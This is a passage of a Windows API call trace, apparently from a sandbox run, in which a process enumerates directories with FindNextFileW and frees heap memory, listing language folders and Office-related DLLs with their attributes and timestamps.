	[0144.441] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1
	[0144.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.461] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1
	[0144.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.799] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1
	[0144.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.802] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1
	[0144.807] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.807] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1
	[0144.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.810] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1
	[0144.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.814] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1
	[0144.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.817] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0f23aa6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1
	[0144.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.820] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1
	[0144.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.926] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1
	[0144.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.931] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Interop.MSDASC.dll", cAlternateFileName="INTERO~1.DLL")) returned 1
	[0144.935] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.935] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1
	[0144.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.939] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1
	[0144.944] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.944] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1
	[0144.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.948] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1
	[0144.953] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.953] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1
	[0144.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0144.959] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x164c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MDXQueryGenerator.DLL", cAlternateFileName="MDXQUE~1.DLL")) returned 1
	[0144.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0145.018] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167f56e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1
	[0145.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0145.218] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1
	[0145.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0145.225] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ad675f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ad675f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5ad675f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.DLL", cAlternateFileName="")) returned 1
	[0145.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0145.232] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.dll", cAlternateFileName="POWERP~1.DLL")) returned 1
	[0145.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0145.235] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0145.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0145.238] FindNextFileW (in: hFindFile=0x5ddac0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae48f06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae48f06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae6f174, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x174c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.dll", cAlternateFileName="REPORT~1.DLL")) returned 1
	[0145.239] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.239] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefee59ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1026", cAlternateFileName="")) returned 1
	[0145.239] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.239] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1755c61, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="10266", cAlternateFileName="")) returned 1
	[0145.239] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.239] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1027", cAlternateFileName="")) returned 1
	[0145.239] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.239] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1028", cAlternateFileName="")) returned 1
	[0145.240] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.240] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1029", cAlternateFileName="")) returned 1
	[0145.240] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.240] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf7a22a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1030", cAlternateFileName="")) returned 1
	[0145.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.241] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1031", cAlternateFileName="")) returned 1
	[0145.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.242] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e6a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51e6a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51e6a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1032", cAlternateFileName="")) returned 1
	[0145.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.244] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42fef17, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1
	[0145.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.245] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1035", cAlternateFileName="")) returned 1
	[0145.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.246] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1
	[0145.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.246] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1037", cAlternateFileName="")) returned 1
	[0145.247] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.247] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88e2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1038", cAlternateFileName="")) returned 1
	[0145.248] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.248] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1040", cAlternateFileName="")) returned 1
	[0145.250] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.250] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1041", cAlternateFileName="")) returned 1
	[0145.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0145.251] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf048f354, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf048f354, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf048f354, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1042", cAlternateFileName="")) returned 1
	[0145.252] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
